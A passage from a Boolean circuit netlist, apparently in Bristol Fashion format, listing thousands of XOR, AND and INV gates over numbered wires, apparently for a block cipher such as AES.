14755 XOR +2 1 14757 14755 14754 AND +2 1 14754 14711 14753 XOR +2 1 14754 14766 14660 XOR +2 1 14660 14696 14656 XOR +2 1 33629 14656 14659 XOR +2 1 14754 14705 14657 XOR +2 1 33627 14656 14655 XOR +2 1 14751 14752 14750 AND +2 1 14750 14758 14749 XOR +2 1 14756 14750 14748 XOR +2 1 14750 14709 14664 XOR +2 1 14750 14767 14663 XOR +2 1 14663 14764 14658 XOR +2 1 14658 14659 14741 XOR +2 1 14758 14748 14747 AND +2 1 14747 14755 14745 XOR +2 1 14747 14765 14718 XOR +2 1 14718 14712 14739 XOR +2 1 33623 14718 14701 XOR +2 1 14701 14664 14746 XOR +2 1 14753 14745 14744 AND +2 1 14744 14714 14704 XOR +2 1 14704 14706 14743 XOR +2 1 14744 14768 14662 XOR +2 1 14701 14662 14654 XOR +2 1 14691 14654 14661 XOR +2 1 14658 14661 14742 XOR +2 1 14704 14657 14740 XOR +2 1 14654 14655 14738 XOR +2 1 14739 14776 14737 AND +2 1 14746 14775 14736 AND +2 1 14749 33622 14735 AND +2 1 14735 14737 14717 XOR +2 1 14740 14770 14734 AND +2 1 14743 14782 14733 AND +2 1 14753 14772 14732 AND +2 1 14732 14733 14671 XOR +2 1 14741 14773 14731 AND +2 1 14738 14771 14730 AND +2 1 14730 14733 14686 XOR +1 1 14686 14683 INV +2 1 14730 14731 14682 XOR +2 1 14742 14774 14729 AND +2 1 14739 14780 14728 AND +2 1 14746 14777 14727 AND +2 1 14749 14781 14726 AND +2 1 14740 14785 14725 AND +2 1 14725 14729 14702 XOR +2 1 14734 14725 14687 XOR +1 1 14702 14680 INV +2 1 14743 14778 14724 AND +2 1 14732 14724 14689 XOR +2 1 14753 14779 14723 AND +2 1 14680 14723 14679 XOR +2 1 14679 14717 14675 XOR +2 1 14741 14784 14722 AND +2 1 14722 14675 14678 XOR +2 1 14738 14786 14721 AND +2 1 14721 14722 14716 XOR +2 1 14727 14716 14698 XOR +2 1 14728 14698 14699 XOR +2 1 14736 14699 14703 XOR +2 1 14737 14703 14708 XOR +2 1 14689 14716 14685 XOR +2 1 14717 14685 14688 XOR +2 1 14687 14688 14790 XOR +2 1 14680 14685 14684 XOR +2 1 14683 14684 14789 XOR +2 1 14708 14682 14788 XOR +2 1 14698 14675 14674 XOR +2 1 14735 14703 14672 XOR +2 1 14671 14672 35204 XOR +2 1 14742 14783 14720 AND +2 1 14731 14720 14681 XOR +1 1 14681 14677 INV +2 1 14677 14678 14787 XOR +1 1 14789 35202 INV +2 1 14789 32897 6384 XOR +2 1 5877 5840 5808 XOR +2 1 5920 33024 5811 XOR +1 1 5877 5786 INV +2 1 5786 5872 5784 XOR +2 1 5784 5785 34984 XOR +2 1 34984 262 33631 XOR +2 1 33631 6331 6327 XOR +2 1 33631 33633 6239 XOR +2 1 6239 6333 6325 XOR +2 1 33630 6325 6324 XOR +2 1 33631 33632 6256 XOR +2 1 6256 6328 6326 XOR +2 1 6333 6256 6329 XOR +2 1 33632 6239 6241 XOR +2 1 33636 6241 6322 XOR +2 1 6246 6241 6321 XOR +2 1 33635 6241 6319 XOR +2 1 6239 6202 6323 XOR +2 1 5810 5811 5809 XOR +1 1 5809 34968 INV +2 1 35047 5808 34969 XOR +2 1 34969 277 33616 XOR +2 1 33616 33618 18122 XOR +2 1 18027 18122 18107 XOR +2 1 33617 33616 18003 XOR +2 1 33621 33616 18119 XOR +2 1 18122 18107 18098 AND +2 1 6326 6324 6317 AND +2 1 6311 6317 6263 XOR +2 1 34968 278 33615 XOR +2 1 33615 33617 18026 XOR +2 1 33616 18026 18028 XOR +2 1 33620 18028 18109 XOR +2 1 33619 18028 18106 XOR +2 1 18033 18028 18108 XOR +2 1 33615 18118 18114 XOR +2 1 18026 18120 18112 XOR +2 1 33614 18112 18111 XOR +2 1 33615 33616 18043 XOR +2 1 18043 18115 18113 XOR +2 1 18120 18043 18116 XOR +2 1 18026 17989 18110 XOR +2 1 33621 33615 18121 XOR +2 1 18112 18116 18105 AND +2 1 18105 18029 18032 XOR +2 1 18113 18111 18104 AND +2 1 18098 18104 18050 XOR +2 1 18121 18106 18102 AND +2 1 18102 18027 18031 XOR +2 1 18118 18114 18101 AND +2 1 18115 18108 18100 AND +2 1 18120 18109 18099 AND +2 1 18099 18028 18030 XOR +2 1 18032 18030 18036 XOR +2 1 33621 18036 18041 XOR +2 1 18050 18041 18096 XOR +2 1 18098 18099 18002 XOR +2 1 18002 18003 18049 XOR +2 1 18049 18031 18048 XOR +2 1 18101 18048 18095 XOR +2 1 18119 18110 18097 AND +2 1 18097 18100 18051 XOR +2 1 18097 18103 18055 XOR +2 1 18055 18027 18042 XOR +2 1 18050 18042 18093 XOR +2 1 18098 18051 18045 XOR +2 1 18031 18051 18005 XOR +2 1 18005 18030 18094 XOR +2 1 18036 18055 18004 XOR +2 1 33619 18004 18047 XOR +2 1 18101 18045 18001 XOR +2 1 33615 18001 18088 XOR +2 1 18096 18095 18092 AND +2 1 18092 18047 18087 XOR +2 1 18092 18094 18091 XOR +2 1 18093 18091 18090 AND +2 1 18090 18047 18089 XOR +2 1 18090 18102 17996 XOR +2 1 17996 18032 17992 XOR +2 1 33621 17992 17995 XOR +2 1 18090 18041 17993 XOR +2 1 33619 17992 17991 XOR +2 1 18087 18088 18086 AND +2 1 18086 18094 18085 XOR +2 1 18092 18086 18084 XOR +2 1 18086 18045 18000 XOR +2 1 18086 18103 17999 XOR +2 1 17999 18100 17994 XOR +2 1 17994 17995 18077 XOR +2 1 18094 18084 18083 AND +2 1 18083 18091 18081 XOR +2 1 18083 18101 18054 XOR +2 1 18054 18048 18075 XOR +2 1 33615 18054 18037 XOR +2 1 18037 18000 18082 XOR +2 1 18089 18081 18080 AND +2 1 18080 18050 18040 XOR +2 1 18040 18042 18079 XOR +2 1 18080 18104 17998 XOR +2 1 18037 17998 17990 XOR +2 1 18027 17990 17997 XOR +2 1 17994 17997 18078 XOR +2 1 18040 17993 18076 XOR +2 1 17990 17991 18074 XOR +2 1 18075 18112 18073 AND +2 1 18082 18111 18072 AND +2 1 18085 33614 18071 AND +2 1 18071 18073 18053 XOR +2 1 18076 18106 18070 AND +2 1 18079 18118 18069 AND +2 1 18089 18108 18068 AND +2 1 18068 18069 18007 XOR +2 1 18077 18109 18067 AND +2 1 18074 18107 18066 AND +2 1 18066 18069 18022 XOR +1 1 18022 18019 INV +2 1 18066 18067 18018 XOR +2 1 18078 18110 18065 AND +2 1 18075 18116 18064 AND +2 1 18082 18113 18063 AND +2 1 18085 18117 18062 AND +2 1 18076 18121 18061 AND +2 1 18061 18065 18038 XOR +2 1 18070 18061 18023 XOR +1 1 18038 18016 INV +2 1 18079 18114 18060 AND +2 1 18068 18060 18025 XOR +2 1 18089 18115 18059 AND +2 1 18016 18059 18015 XOR +2 1 18015 18053 18011 XOR +2 1 18077 18120 18058 AND +2 1 18058 18011 18014 XOR +2 1 18074 18122 18057 AND +2 1 18057 18058 18052 XOR +2 1 18063 18052 18034 XOR +2 1 18064 18034 18035 XOR +2 1 18072 18035 18039 XOR +2 1 18073 18039 18044 XOR +2 1 18025 18052 18021 XOR +2 1 18053 18021 18024 XOR +2 1 18023 18024 18126 XOR +2 1 18016 18021 18020 XOR +2 1 18019 18020 18125 XOR +2 1 32908 18125 6479 XOR +2 1 18044 18018 18124 XOR +2 1 18034 18011 18010 XOR +2 1 18071 18039 18008 XOR +2 1 18007 18008 35218 XOR +1 1 35218 6351 INV +2 1 35222 6351 6363 XOR +2 1 18078 18119 18056 AND +2 1 18067 18056 18017 XOR +1 1 18017 18013 INV +2 1 18013 18014 18123 XOR +1 1 18125 35216 INV +2 1 35230 35235 6641 XOR +1 1 6641 6408 INV +2 1 33637 33631 6334 XOR +2 1 6334 6319 6315 AND +2 1 6315 6240 6244 XOR +2 1 6325 6329 6318 AND +2 1 6318 6242 6245 XOR +2 1 6331 6327 6314 AND +2 1 6328 6321 6313 AND +2 1 6333 6322 6312 AND +2 1 6311 6312 6215 XOR +2 1 6215 6216 6262 XOR +2 1 6312 6241 6243 XOR +2 1 6245 6243 6249 XOR +2 1 33637 6249 6254 XOR +2 1 6263 6254 6309 XOR +2 1 6262 6244 6261 XOR +2 1 6314 6261 6308 XOR +2 1 6309 6308 6305 AND +2 1 6332 6323 6310 AND +2 1 6310 6316 6268 XOR +2 1 6249 6268 6217 XOR +2 1 33635 6217 6260 XOR +2 1 6305 6260 6300 XOR +2 1 6268 6240 6255 XOR +2 1 6263 6255 6306 XOR +2 1 6310 6313 6264 XOR +2 1 6311 6264 6258 XOR +2 1 6314 6258 6214 XOR +2 1 33631 6214 6301 XOR +2 1 6244 6264 6218 XOR +2 1 6218 6243 6307 XOR +2 1 6305 6307 6304 XOR +2 1 6306 6304 6303 AND +2 1 6303 6254 6206 XOR +2 1 6303 6315 6209 XOR +2 1 6209 6245 6205 XOR +2 1 33635 6205 6204 XOR +2 1 33637 6205 6208 XOR +2 1 6303 6260 6302 XOR +2 1 6302 6321 6281 AND +2 1 6302 6328 6272 AND +2 1 6300 6301 6299 AND +2 1 6299 6307 6298 XOR +2 1 6299 6258 6213 XOR +2 1 6299 6316 6212 XOR +2 1 6212 6313 6207 XOR +2 1 6305 6299 6297 XOR +2 1 6207 6208 6290 XOR +2 1 6290 6333 6271 AND +2 1 6290 6322 6280 AND +2 1 6307 6297 6296 AND +2 1 6296 6314 6267 XOR +2 1 33631 6267 6250 XOR +2 1 6250 6213 6295 XOR +2 1 6267 6261 6288 XOR +2 1 6296 6304 6294 XOR +2 1 6295 6326 6276 AND +2 1 6302 6294 6293 AND +2 1 6293 6263 6253 XOR +2 1 6293 6317 6211 XOR +2 1 6250 6211 6203 XOR +2 1 6253 6206 6289 XOR +2 1 6240 6203 6210 XOR +2 1 6207 6210 6291 XOR +2 1 6253 6255 6292 XOR +2 1 6203 6204 6287 XOR +2 1 6289 6319 6283 AND +2 1 6292 6331 6282 AND +2 1 6281 6282 6220 XOR +2 1 6289 6334 6274 AND +2 1 6283 6274 6236 XOR +2 1 6292 6327 6273 AND +2 1 6281 6273 6238 XOR +2 1 6291 6332 6269 AND +2 1 6280 6269 6230 XOR +1 1 6230 6226 INV +2 1 6288 6325 6286 AND +2 1 6295 6324 6285 AND +2 1 6287 6335 6270 AND +2 1 6270 6271 6265 XOR +2 1 6276 6265 6247 XOR +2 1 6238 6265 6234 XOR +2 1 6288 6329 6277 AND +2 1 6277 6247 6248 XOR +2 1 6285 6248 6252 XOR +2 1 6286 6252 6257 XOR +2 1 6287 6320 6279 AND +2 1 6279 6280 6231 XOR +2 1 6279 6282 6235 XOR +1 1 6235 6232 INV +2 1 6257 6231 6337 XOR +2 1 6291 6323 6278 AND +2 1 6274 6278 6251 XOR +1 1 6251 6229 INV +2 1 6229 6234 6233 XOR +2 1 6232 6233 6338 XOR +2 1 6229 6272 6228 XOR +2 1 6298 33630 6284 AND +2 1 6284 6286 6266 XOR +2 1 6228 6266 6224 XOR +2 1 6247 6224 6223 XOR +2 1 6271 6224 6227 XOR +2 1 6266 6234 6237 XOR +2 1 6236 6237 6339 XOR +2 1 6226 6227 6336 XOR +2 1 6284 6252 6221 XOR +2 1 6220 6221 35262 XOR +2 1 6298 6330 6275 AND +2 1 6282 6283 32654 XOR +2 1 6279 32654 6259 XOR +2 1 6280 6259 6219 XOR +2 1 6248 6219 35264 XOR +2 1 6275 6259 6225 XOR +1 1 6225 6222 INV +2 1 6222 6223 35261 XOR +2 1 35262 35261 6357 XOR +2 1 32654 6257 35263 XOR +2 1 14733 14734 32659 XOR +2 1 32659 14708 35205 XOR +2 1 14730 32659 14710 XOR +2 1 14726 14710 14676 XOR +1 1 14676 14673 INV +2 1 14673 14674 35203 XOR +2 1 14731 14710 14670 XOR +2 1 14699 14670 35206 XOR +1 1 35203 6391 INV +2 1 32904 6391 6569 XOR +2 1 35204 6391 6390 XOR +2 1 18069 18070 32683 XOR +2 1 18066 32683 18046 XOR +2 1 18062 18046 18012 XOR +1 1 18012 18009 INV +2 1 18067 18046 18006 XOR +2 1 18035 18006 35220 XOR +2 1 35220 35224 6599 XOR +1 1 6599 6364 INV +2 1 6599 35226 6360 XOR +2 1 6364 35227 6362 XOR +2 1 6362 6363 6673 XOR +2 1 18009 18010 35217 XOR +2 1 35221 35217 6361 XOR +2 1 6599 33025 6358 XOR +2 1 6360 6361 6674 XOR +2 1 32683 18044 35219 XOR +2 1 6461 35219 6476 XOR +2 1 19876 19877 32696 XOR +2 1 19873 32696 19853 XOR +2 1 19874 19853 19813 XOR +2 1 19869 19853 19819 XOR +2 1 19842 19813 35232 XOR +1 1 19819 19816 INV +2 1 35232 35239 6593 XOR +2 1 19816 19817 35229 XOR +2 1 6370 35229 6369 XOR +2 1 35229 35234 6648 XOR +1 1 6648 6424 INV +2 1 32696 19851 35231 XOR +2 1 16872 35231 6449 XOR +2 1 35231 35236 6633 XOR +1 1 6633 6405 INV +1 1 6336 32783 INV +1 1 6337 32784 INV +1 1 6338 32785 INV +2 1 32785 35253 6398 XOR +1 1 6339 32786 INV +2 1 32786 32947 6355 XOR +1 1 14787 32894 INV +1 1 14788 32895 INV +1 1 14790 32896 INV +2 1 32904 32896 6388 XOR +1 1 18123 32941 INV +1 1 18124 32942 INV +2 1 32942 32941 6474 XOR +2 1 6591 32942 6482 XOR +2 1 32942 32907 6609 XOR +2 1 6609 33032 6501 XOR +2 1 6609 6607 6457 XOR +1 1 18126 32943 INV +2 1 32901 32943 6359 XOR +2 1 6358 6359 6675 XOR +1 1 19931 32969 INV +2 1 35239 32969 6441 XOR +2 1 32969 35238 6619 XOR +1 1 19932 32970 INV +2 1 6377 32970 6452 XOR +2 1 32970 35233 6655 XOR +1 1 19933 32971 INV +2 1 16874 32971 6366 XOR +2 1 32971 32926 6656 XOR +2 1 6656 6597 6425 XOR +1 1 19930 32976 INV +2 1 16873 32976 6444 XOR +2 1 32976 35237 6626 XOR +1 1 6593 33227 INV +2 1 33227 35230 6434 XOR +2 1 33227 32970 6438 XOR +2 1 33227 35231 6432 XOR +1 1 5043 33238 INV +2 1 33238 32920 5222 XOR +2 1 33238 34840 5230 XOR +2 1 5223 5222 34751 XOR +2 1 34751 422 33471 XOR +2 1 5231 5230 34754 XOR +2 1 34754 419 33474 XOR +2 1 33474 33476 20809 XOR +2 1 33471 20898 20894 XOR +2 1 33474 33477 20900 XOR +2 1 33471 33472 20823 XOR +2 1 20823 20895 20893 XOR +2 1 20900 20823 20896 XOR +2 1 33472 33474 20902 XOR +2 1 20807 20902 20887 XOR +2 1 20809 20807 20769 XOR +2 1 20809 33475 20768 XOR +2 1 33470 20768 20897 XOR +2 1 33477 33471 20901 XOR +2 1 20897 33470 20883 AND +2 1 20898 20894 20881 AND +2 1 20902 20887 20878 AND +2 1 33238 34839 5227 XOR +2 1 5228 5227 34753 XOR +2 1 34753 420 33473 XOR +2 1 33471 33473 20806 XOR +2 1 33472 20806 20808 XOR +2 1 33476 20808 20889 XOR +2 1 33475 20808 20886 XOR +2 1 20813 20808 20888 XOR +2 1 20806 20900 20892 XOR +2 1 33470 20892 20891 XOR +2 1 33473 33472 20783 XOR +2 1 20806 20769 20890 XOR +2 1 20892 20896 20885 AND +2 1 20885 20809 20812 XOR +2 1 20893 20891 20884 AND +2 1 20878 20884 20830 XOR +2 1 20901 20886 20882 AND +2 1 20882 20807 20811 XOR +2 1 20895 20888 20880 AND +2 1 20900 20889 20879 AND +2 1 20879 20808 20810 XOR +2 1 20812 20810 20816 XOR +2 1 33477 20816 20821 XOR +2 1 20830 20821 20876 XOR +2 1 20878 20879 20782 XOR +2 1 20782 20783 20829 XOR +2 1 20829 20811 20828 XOR +2 1 20881 20828 20875 XOR +2 1 20899 20890 20877 AND +2 1 20877 20880 20831 XOR +2 1 20877 20883 20835 XOR +2 1 20835 20807 20822 XOR +2 1 20830 20822 20873 XOR +2 1 20878 20831 20825 XOR +2 1 20811 20831 20785 XOR +2 1 20785 20810 20874 XOR +2 1 20816 20835 20784 XOR +2 1 33475 20784 20827 XOR +2 1 20881 20825 20781 XOR +2 1 33471 20781 20868 XOR +2 1 20876 20875 20872 AND +2 1 20872 20827 20867 XOR +2 1 20872 20874 20871 XOR +2 1 20873 20871 20870 AND +2 1 20870 20827 20869 XOR +2 1 20870 20882 20776 XOR +2 1 20776 20812 20772 XOR +2 1 33477 20772 20775 XOR +2 1 20870 20821 20773 XOR +2 1 33475 20772 20771 XOR +2 1 20867 20868 20866 AND +2 1 20866 20874 20865 XOR +2 1 20872 20866 20864 XOR +2 1 20866 20825 20780 XOR +2 1 20866 20883 20779 XOR +2 1 20779 20880 20774 XOR +2 1 20774 20775 20857 XOR +2 1 20874 20864 20863 AND +2 1 20863 20871 20861 XOR +2 1 20863 20881 20834 XOR +2 1 20834 20828 20855 XOR +2 1 33471 20834 20817 XOR +2 1 20817 20780 20862 XOR +2 1 20869 20861 20860 AND +2 1 20860 20830 20820 XOR +2 1 20820 20822 20859 XOR +2 1 20860 20884 20778 XOR +2 1 20817 20778 20770 XOR +2 1 20807 20770 20777 XOR +2 1 20774 20777 20858 XOR +2 1 20820 20773 20856 XOR +2 1 20770 20771 20854 XOR +2 1 20855 20892 20853 AND +2 1 20862 20891 20852 AND +2 1 20865 33470 20851 AND +2 1 20851 20853 20833 XOR +2 1 20856 20886 20850 AND +2 1 20859 20898 20849 AND +2 1 20869 20888 20848 AND +2 1 20848 20849 20787 XOR +2 1 20857 20889 20847 AND +2 1 20854 20887 20846 AND +2 1 20846 20849 20802 XOR +1 1 20802 20799 INV +2 1 20846 20847 20798 XOR +2 1 20858 20890 20845 AND +2 1 20855 20896 20844 AND +2 1 20862 20893 20843 AND +2 1 20865 20897 20842 AND +2 1 20856 20901 20841 AND +2 1 20841 20845 20818 XOR +2 1 20850 20841 20803 XOR +1 1 20818 20796 INV +2 1 20859 20894 20840 AND +2 1 20848 20840 20805 XOR +2 1 20869 20895 20839 AND +2 1 20796 20839 20795 XOR +2 1 20795 20833 20791 XOR +2 1 20857 20900 20838 AND +2 1 20838 20791 20794 XOR +2 1 20854 20902 20837 AND +2 1 20837 20838 20832 XOR +2 1 20843 20832 20814 XOR +2 1 20844 20814 20815 XOR +2 1 20852 20815 20819 XOR +2 1 20853 20819 20824 XOR +2 1 20805 20832 20801 XOR +2 1 20833 20801 20804 XOR +2 1 20803 20804 20906 XOR +2 1 20796 20801 20800 XOR +2 1 20799 20800 20905 XOR +2 1 20824 20798 20904 XOR +2 1 20814 20791 20790 XOR +2 1 20851 20819 20788 XOR +2 1 20787 20788 35044 XOR +2 1 35040 35044 5864 XOR +2 1 5658 5864 5667 XOR +2 1 5639 5864 5637 XOR +2 1 5612 35044 5609 XOR +2 1 5667 5668 34938 XOR +2 1 34938 308 33585 XOR +2 1 5609 5610 5902 XOR +2 1 20858 20899 20836 AND +2 1 20847 20836 20797 XOR +1 1 20797 20793 INV +2 1 20793 20794 20903 XOR +2 1 5902 5875 34946 XOR +2 1 34946 300 33593 XOR +2 1 20849 20850 32703 XOR +2 1 32703 20824 35045 XOR +2 1 35041 35045 5855 XOR +2 1 5642 5855 5665 XOR +2 1 5665 5666 34939 XOR +2 1 34939 307 33586 XOR +2 1 5860 5855 5636 XOR +2 1 33014 5636 34956 XOR +2 1 34956 290 33603 XOR +2 1 5612 35045 5613 XOR +2 1 5613 5614 5901 XOR +2 1 5901 5867 34947 XOR +2 1 34947 299 33594 XOR +2 1 20846 32703 20826 XOR +2 1 20842 20826 20792 XOR +1 1 20792 20789 INV +2 1 20789 20790 35043 XOR +2 1 35039 35043 5874 XOR +2 1 5658 35043 5656 XOR +2 1 5656 5657 34945 XOR +2 1 34945 301 33592 XOR +2 1 5642 5874 5640 XOR +2 1 5889 5874 5669 XOR +2 1 35028 5669 34937 XOR +2 1 34937 309 33584 XOR +2 1 33584 33586 6057 XOR +2 1 33585 33584 5938 XOR +1 1 5874 5687 INV +2 1 20847 20826 20786 XOR +2 1 20815 20786 35046 XOR +2 1 35031 35046 5832 XOR +1 1 5832 5601 INV +2 1 5832 35044 5605 XOR +2 1 5605 5606 5904 XOR +2 1 5904 5855 34931 XOR +2 1 34931 315 33578 XOR +2 1 5601 35043 5602 XOR +2 1 5602 5603 5905 XOR +2 1 5905 5864 34930 XOR +2 1 34930 316 33577 XOR +2 1 33228 35046 5649 XOR +2 1 5649 5650 34950 XOR +2 1 34950 296 33597 XOR +2 1 35042 35046 5824 XOR +2 1 5853 5824 5662 XOR +2 1 35031 5662 34942 XOR +2 1 34942 304 33589 XOR +2 1 33586 33589 6055 XOR +2 1 33589 33584 6054 XOR +2 1 5890 5824 5648 XOR +2 1 33009 5648 34951 XOR +2 1 34951 295 33598 XOR +1 1 5824 5919 INV +2 1 5919 33016 5646 XOR +2 1 5919 35041 5638 XOR +2 1 5919 35040 5641 XOR +2 1 5640 5641 34954 XOR +2 1 34954 292 33601 XOR +2 1 5637 5638 34955 XOR +2 1 34955 291 33602 XOR +2 1 33594 33597 24521 XOR +2 1 33592 33594 24523 XOR +2 1 33593 33592 24403 XOR +2 1 33597 33592 24520 XOR +1 1 20903 32993 INV +2 1 5860 32993 5654 XOR +2 1 5654 5655 34948 XOR +2 1 34948 298 33595 XOR +2 1 33014 32993 5849 XOR +2 1 5867 5849 5664 XOR +2 1 33010 5664 34940 XOR +2 1 34940 306 33587 XOR +2 1 33587 33589 5962 XOR +2 1 5962 6057 6042 XOR +2 1 6057 6042 6033 AND +2 1 5849 35045 5684 XOR +1 1 5684 5682 INV +2 1 5682 5683 34932 XOR +2 1 34932 314 33579 XOR +2 1 5853 5849 5635 XOR +2 1 33015 5635 34957 XOR +2 1 34957 289 33604 XOR +2 1 33598 33604 6107 XOR +2 1 33602 33604 6103 XOR +2 1 6103 33603 6062 XOR +2 1 33598 6062 6191 XOR +2 1 6191 33598 6177 AND +2 1 33603 6107 6192 XOR +2 1 33595 33597 24427 XOR +2 1 24427 24523 24508 XOR +2 1 24523 24508 24499 AND +1 1 20904 32994 INV +2 1 5824 32994 5674 XOR +2 1 5853 32994 5653 XOR +1 1 5653 5651 INV +2 1 5674 5675 34934 XOR +2 1 34934 312 33581 XOR +2 1 33579 33581 14830 XOR +2 1 33578 33581 14923 XOR +2 1 5651 5652 34949 XOR +2 1 34949 297 33596 XOR +2 1 33015 32994 5838 XOR +2 1 5838 32993 5677 XOR +2 1 5677 5678 5676 XOR +1 1 5676 34933 INV +2 1 34933 313 33580 XOR +2 1 33578 33580 14832 XOR +2 1 14832 14830 14792 XOR +2 1 14832 33579 14791 XOR +2 1 5838 5827 5634 XOR +2 1 35042 5634 34958 XOR +2 1 5860 5838 5663 XOR +2 1 33011 5663 34941 XOR +2 1 34941 305 33588 XOR +2 1 33586 33588 5964 XOR +2 1 5964 5962 5924 XOR +2 1 5964 33587 5923 XOR +2 1 34958 288 33605 XOR +2 1 33602 33605 6194 XOR +2 1 33603 33605 6101 XOR +2 1 6103 6101 6063 XOR +2 1 6101 6107 6189 XOR +2 1 33594 33596 24429 XOR +2 1 24429 24427 24389 XOR +2 1 24429 33595 24388 XOR +1 1 20905 32995 INV +2 1 5831 32995 5607 XOR +2 1 5607 5608 5903 XOR +2 1 33016 32995 5878 XOR +2 1 5882 5878 5643 XOR +2 1 5890 5878 5671 XOR +2 1 5671 5672 5670 XOR +1 1 5670 34936 INV +2 1 34936 310 33583 XOR +2 1 33583 33585 5961 XOR +2 1 33584 5961 5963 XOR +2 1 33587 5963 6041 XOR +2 1 5961 6055 6047 XOR +2 1 33583 33584 5978 XOR +2 1 6055 5978 6051 XOR +2 1 33589 33583 6056 XOR +2 1 6056 6041 6037 AND +2 1 6037 5962 5966 XOR +2 1 5961 5924 6045 XOR +2 1 6054 6045 6032 AND +2 1 6047 6051 6040 AND +2 1 6040 5964 5967 XOR +2 1 5687 32995 5685 XOR +2 1 5685 5686 34929 XOR +2 1 34929 317 33576 XOR +2 1 33576 33578 14925 XOR +2 1 14830 14925 14910 XOR +2 1 33577 33576 14806 XOR +2 1 33581 33576 14922 XOR +2 1 14925 14910 14901 AND +2 1 35039 5643 34953 XOR +2 1 5903 5889 34944 XOR +2 1 34944 302 33591 XOR +2 1 33591 33593 24426 XOR +2 1 33592 24426 24428 XOR +2 1 33596 24428 24510 XOR +2 1 33595 24428 24507 XOR +2 1 24426 24521 24513 XOR +2 1 33591 33592 24443 XOR +2 1 24521 24443 24517 XOR +2 1 24426 24389 24511 XOR +2 1 33597 33591 24522 XOR +2 1 24513 24517 24506 AND +2 1 24506 24429 24432 XOR +2 1 24522 24507 24503 AND +2 1 24503 24427 24431 XOR +2 1 24521 24510 24500 AND +2 1 24500 24428 24430 XOR +2 1 24432 24430 24436 XOR +2 1 33597 24436 24441 XOR +2 1 24499 24500 24402 XOR +2 1 24402 24403 24449 XOR +2 1 24449 24431 24448 XOR +2 1 24520 24511 24498 AND +2 1 34953 293 33600 XOR +2 1 33601 33600 6077 XOR +2 1 33605 33600 6193 XOR +2 1 33600 33602 6196 XOR +2 1 6101 6196 6181 XOR +2 1 6196 6181 6172 AND +2 1 33588 5963 6044 XOR +2 1 6055 6044 6034 AND +2 1 6034 5963 5965 XOR +2 1 6033 6034 5937 XOR +2 1 5937 5938 5984 XOR +2 1 5984 5966 5983 XOR +2 1 5967 5965 5971 XOR +2 1 33589 5971 5976 XOR +1 1 20906 32996 INV +2 1 32996 5659 34943 XOR +2 1 34943 303 33590 XOR +2 1 33009 32996 5886 XOR +2 1 5886 5827 5673 XOR +2 1 5886 5832 5688 XOR +2 1 33005 5673 34935 XOR +2 1 34935 311 33582 XOR +2 1 33582 6047 6046 XOR +2 1 33582 33588 5968 XOR +2 1 5968 5963 6043 XOR +2 1 5962 5968 6050 XOR +2 1 33582 5923 6052 XOR +2 1 5978 6050 6048 XOR +2 1 6048 6046 6039 AND +2 1 6033 6039 5985 XOR +2 1 5985 5976 6031 XOR +2 1 33587 5968 6053 XOR +2 1 33583 6053 6049 XOR +2 1 6053 6049 6036 AND +2 1 6036 5983 6030 XOR +2 1 6031 6030 6027 AND +2 1 6052 33582 6038 AND +2 1 6050 6043 6035 AND +2 1 6032 6035 5986 XOR +2 1 6033 5986 5980 XOR +2 1 6036 5980 5936 XOR +2 1 5966 5986 5940 XOR +2 1 5940 5965 6029 XOR +2 1 6027 6029 6026 XOR +2 1 33583 5936 6023 XOR +2 1 33068 5688 34927 XOR +2 1 34927 319 33574 XOR +2 1 33574 33580 14836 XOR +2 1 14830 14836 14918 XOR +2 1 33579 14836 14921 XOR +2 1 33574 14791 14920 XOR +2 1 14920 33574 14906 AND +2 1 5889 5886 5647 XOR +1 1 5647 5645 INV +2 1 5645 5646 34952 XOR +2 1 5601 32996 5599 XOR +2 1 5599 5600 5906 XOR +2 1 5906 5878 34928 XOR +2 1 34928 318 33575 XOR +2 1 33575 33577 14829 XOR +2 1 33576 14829 14831 XOR +2 1 33580 14831 14912 XOR +2 1 33579 14831 14909 XOR +2 1 14836 14831 14911 XOR +2 1 33575 14921 14917 XOR +2 1 14829 14923 14915 XOR +2 1 33574 14915 14914 XOR +2 1 33575 33576 14846 XOR +2 1 14846 14918 14916 XOR +2 1 14923 14846 14919 XOR +2 1 14829 14792 14913 XOR +2 1 33581 33575 14924 XOR +2 1 14915 14919 14908 AND +2 1 14908 14832 14835 XOR +2 1 14916 14914 14907 AND +2 1 14901 14907 14853 XOR +2 1 14924 14909 14905 AND +2 1 14905 14830 14834 XOR +2 1 14921 14917 14904 AND +2 1 14918 14911 14903 AND +2 1 14923 14912 14902 AND +2 1 14902 14831 14833 XOR +2 1 14835 14833 14839 XOR +2 1 33581 14839 14844 XOR +2 1 14853 14844 14899 XOR +2 1 14901 14902 14805 XOR +2 1 14805 14806 14852 XOR +2 1 14852 14834 14851 XOR +2 1 14904 14851 14898 XOR +2 1 14922 14913 14900 AND +2 1 14900 14903 14854 XOR +2 1 14900 14906 14858 XOR +2 1 14858 14830 14845 XOR +2 1 14853 14845 14896 XOR +2 1 14901 14854 14848 XOR +2 1 14834 14854 14808 XOR +2 1 14808 14833 14897 XOR +2 1 14839 14858 14807 XOR +2 1 33579 14807 14850 XOR +2 1 14904 14848 14804 XOR +2 1 33575 14804 14891 XOR +2 1 14899 14898 14895 AND +2 1 14895 14850 14890 XOR +2 1 14895 14897 14894 XOR +2 1 14896 14894 14893 AND +2 1 14893 14850 14892 XOR +2 1 14893 14905 14799 XOR +2 1 14799 14835 14795 XOR +2 1 33581 14795 14798 XOR +2 1 14893 14844 14796 XOR +2 1 33579 14795 14794 XOR +2 1 14890 14891 14889 AND +2 1 14889 14897 14888 XOR +2 1 14895 14889 14887 XOR +2 1 14889 14848 14803 XOR +2 1 14889 14906 14802 XOR +2 1 14802 14903 14797 XOR +2 1 14797 14798 14880 XOR +2 1 14897 14887 14886 AND +2 1 14886 14894 14884 XOR +2 1 14886 14904 14857 XOR +2 1 14857 14851 14878 XOR +2 1 33575 14857 14840 XOR +2 1 14840 14803 14885 XOR +2 1 14892 14884 14883 AND +2 1 14883 14853 14843 XOR +2 1 14843 14845 14882 XOR +2 1 14883 14907 14801 XOR +2 1 14840 14801 14793 XOR +2 1 14830 14793 14800 XOR +2 1 14797 14800 14881 XOR +2 1 14843 14796 14879 XOR +2 1 14793 14794 14877 XOR +2 1 14878 14915 14876 AND +2 1 14885 14914 14875 AND +2 1 14888 33574 14874 AND +2 1 14874 14876 14856 XOR +2 1 14879 14909 14873 AND +2 1 14882 14921 14872 AND +2 1 14892 14911 14871 AND +2 1 14871 14872 14810 XOR +2 1 14880 14912 14870 AND +2 1 14877 14910 14869 AND +2 1 14869 14872 14825 XOR +1 1 14825 14822 INV +2 1 14869 14870 14821 XOR +2 1 